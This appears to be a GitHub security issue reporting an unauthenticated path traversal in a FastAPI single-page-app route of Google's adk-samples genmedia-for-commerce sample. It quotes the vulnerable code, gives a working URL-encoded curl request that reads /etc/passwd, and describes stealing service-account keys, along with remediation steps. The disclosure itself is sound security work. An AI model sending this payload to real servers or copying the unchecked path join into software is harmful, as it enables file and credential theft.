Skip to content

Unauthenticated Path Traversal in genmedia-for-commerce FastAPI SPA route (Arbitrary File Read) #2201

Description

@RijulJenJen

Vulnerability Description

The genmedia-for-commerce sample application serves its frontend through a catch-all FastAPI
route, serve_spa. The route takes the request path (full_path) straight from the URL and joins
it to the web-root folder with frontend_dir / full_path, then returns that file with
FileResponse. There is no sanitization and no containment check — the code never rejects ..
sequences or absolute paths, and never verifies (e.g. with Path.resolve() + is_relative_to())
that the resolved file actually stays inside frontend_dir.

Because pathlib and the operating system resolve .. at access time, a request whose path
contains enough ../ sequences (raw, or %2e%2e%2f URL-encoded) escapes the web root and reads any
file on the server that the application process can access. The server binds to 0.0.0.0 with no
authentication, so this is a remote, pre-auth arbitrary file read.

This is the same class of bug as the previously-rewarded adk-js FileArtifactService finding:
attacker-controlled path segments flow into a filesystem call with no post-resolution root check.

Vulnerability Type

Path Traversal (CWE-22) leading to unauthenticated arbitrary file read.

Affected Project

https://github.com/google/adk-samples

Affected Files & Lines (exact excerpts from current main branch)

python/agents/genmedia-for-commerce/genmedia4commerce/fast_api_app.py

Web root definition (line 155):

frontend_dir = PROJECT_ROOT / "frontend" / "dist"

Vulnerable route (lines 201–213):

@app.get("/{full_path:path}")
async def serve_spa(full_path: str):
    # If the path matches an actual file in dist/, serve it
    file_path = frontend_dir / full_path          # <-- user input joined with NO containment check
    if full_path and file_path.is_file():
        return FileResponse(str(file_path))       # <-- arbitrary file returned
    if "." in full_path.split("/")[-1]:
        return JSONResponse({"detail": "Not Found"}, status_code=404)
    return FileResponse(index_html)

Server bind, no authentication (line 274):

uvicorn.run(app, host="0.0.0.0", port=8000)
  • No sanitization, validation, or allow-list on full_path.
  • No resolve() + is_relative_to(frontend_dir) (or prefix) check before serving.

Parameter Extraction

full_path is the Starlette {full_path:path} route parameter — it captures the entire request
path after /, including slashes, and is passed unsanitized into frontend_dir / full_path.
The server (uvicorn) URL-decodes %2e%2e%2f to ../ but does not collapse it, so a fully encoded
payload delivered by any ordinary browser reaches the sink.

Steps to Reproduce

This reproduction has two parts:

  • Steps 1-2 verify the vulnerable code inside Google's real repository (google/adk-samples).
  • Step 3 runs the attached self-contained PoC (demo.sh / attack.sh / poc_server.py),
    which reproduces the vulnerable route verbatim and mirrors the real deployment layout
    (<root>/frontend/dist). The attached PoC is a standalone harness (not part of the repo) because
    the real fast_api_app.py cannot be booted directly — its imports require GCP credentials, the
    ADK, and ~11 internal routers. The attached files are provided alongside this report.

Step 1 — Clone the repository (to view the real source)

git clone https://github.com/google/adk-samples
cd adk-samples

Step 2 — Show the vulnerable code (verify it exists at the stated lines)

Run this inside the cloned adk-samples repo from Step 1:

F=python/agents/genmedia-for-commerce/genmedia4commerce/fast_api_app.py

# Prove this is the real Google repo + exact commit
git remote -v | head -1
git rev-parse HEAD

# Web root definition (line 155)
nl -ba "$F" | sed -n '155p'

# VULNERABLE catch-all route (lines 201-213)
nl -ba "$F" | sed -n '201,213p'

# Server bind, no authentication (line 274)
nl -ba "$F" | sed -n '274p'

Expected output:

origin	https://github.com/google/adk-samples.git (fetch)
441dde62de209e6f16b9856451f433656567359c
   155	    frontend_dir = PROJECT_ROOT / "frontend" / "dist"
   201	    @app.get("/{full_path:path}")
   202	    async def serve_spa(full_path: str):
   203	        # If the path matches an actual file in dist/, serve it
   204	        file_path = frontend_dir / full_path
   205	        if full_path and file_path.is_file():
   206	            return FileResponse(str(file_path))
   207	        # Only serve index.html for SPA routes (paths without file extensions)
   208	        # Asset requests (.json, .js, .css, etc.) that don't exist should 404
   209	        if "." in full_path.split("/")[-1]:
   210	            from fastapi.responses import JSONResponse
   211	
   212	            return JSONResponse({"detail": "Not Found"}, status_code=404)
   213	        return FileResponse(index_html)
   274	    uvicorn.run(app, host="0.0.0.0", port=8000)

Line 204 joins attacker input to the web root with no check; line 206 serves the resulting file;
line 274 exposes the server on all interfaces with no authentication.

Step 3 — Run the attached one-command PoC

Run this from the attached PoC folder (the directory containing demo.sh, provided with this
report — this is separate from the cloned repo):

cd genmedia-traversal   # the attached PoC folder
bash demo.sh

demo.sh automatically: (1) creates a venv and installs fastapi + uvicorn, (2) starts the
vulnerable server on http://127.0.0.1:8000, (3) runs attack.sh to send the traversal requests
and prints the results. No second terminal is required.

Step 4 — (Equivalent) single request against a live deployment

curl -s "http://TARGET:8000/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

(.. at the filesystem root / is idempotent, so an attacker just sends "enough" ../ segments to
reach root regardless of the web root's depth.)

Observed Behavior

  • A legitimate in-root request (GET /index.html) returns the SPA — HTTP 200.
  • The percent-encoded traversal request returns the real contents of /etc/passwd from the
    server host — HTTP 200:
GET /index.html                          -> HTTP 200   (legitimate in-root asset)
GET /%2e%2e%2f...x16.../etc/passwd       -> HTTP 200   (arbitrary file OUTSIDE web root)

##
# User Database
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
[...]

/etc/passwd is used only as a universal proof-of-read target (it contains no passwords). On a real
deployment the same request reads the sensitive files instead — application source, the sample's
config.env, and the mounted Google Cloud service-account credentials — by substituting their
paths.

Attack Scenario — who can exploit this?

Anyone with network access to the deployed service — no authentication, no account, no user
interaction
. The genmedia-for-commerce sample ships a Dockerfile and binds 0.0.0.0, so when
deployed as documented it is reachable over the network. A single crafted HTTP GET (works from a
browser, curl, or Burp) reads arbitrary server-side files. The highest-impact target is the
service-account key file, which lets the attacker authenticate to the victim's Google Cloud project
and pivot far beyond the initial file read.

Impact

An unauthenticated remote attacker can read any file the server process can access: application
source, environment/config files, and mounted Google Cloud service-account credentials. Disclosure
of the service-account key enables lateral movement and privilege escalation into the associated
cloud project, so the practical impact greatly exceeds the initial arbitrary-read primitive.
Confidentiality impact is High; no integrity or availability impact from this specific primitive.

Remediation

  • Canonicalize and enforce containment before serving: candidate = (frontend_dir / full_path).resolve(strict=False) then if not candidate.is_relative_to(frontend_dir.resolve()): return 404.
  • Reject any full_path that is absolute or contains .. segments after URL-decoding, before touching the filesystem.
  • Prefer a vetted static-file mechanism (e.g. Starlette StaticFiles, which normalizes and confines paths) over a hand-rolled FileResponse catch-all.
  • Do not bind sample servers to 0.0.0.0 by default; require an authentication layer for any non-loopback exposure.

References

CWE: CWE-22

demo.sh

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions